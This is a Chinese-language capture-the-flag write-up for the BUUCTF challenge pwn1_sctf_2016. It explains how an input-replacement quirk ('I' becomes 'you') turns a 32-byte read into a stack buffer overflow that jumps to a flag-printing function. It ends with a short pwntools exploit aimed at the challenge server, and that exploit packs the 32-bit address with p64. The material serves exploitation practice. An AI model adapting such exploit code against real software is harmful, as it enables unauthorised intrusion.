BUUCTF-PWN-pwn1_sctf_2016

下载 放入 ubuntu里查信息

 现在这些保护我都没有遇到 以后慢慢做应该是会遇到的

然后进行发现是32 所以我们记住 如果栈溢出漏洞 我们需要4个字节填满基地址

放入ida32

查看字符串

发现 cat flag 敏感字符串

然后我们就看引用

先记住地址 

0x8048F0D

然后开始进去 发现没有用 所以找到主函数

进入vuln函数

 发现get  但是只能输入 32个 所以无法实现栈溢出

不管能不能用 先记住 s的地址

0x3c = 60字节 因为是32个 所以无法满足

原本看别人的博客 是说replace函数替换了 但是 我看不明白 很简单的办法

我们nc 这个 运行程序 输入 i you 看看发生了什么

发现进行了替换 这样我们就可以执行栈溢出

因为you占3字节 我们只能输入 32个  一个i =三个字节 所以我们输入 20个I 就可以占 60 字节

就刚刚好满足了get的溢出 然后再输入4个垃圾字符 就可以 实现函数返回 再将 get flag返回地址填入即可

exp

from pwn import *
p = remote('node4.buuoj.cn',29543)
payload=b'I'*20+b'b'*4+p64(0x8048F0D)
p.sendline(payload)
p.interactive()

 得到flag

这题我们发现 如果注意到replace函数要注意

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值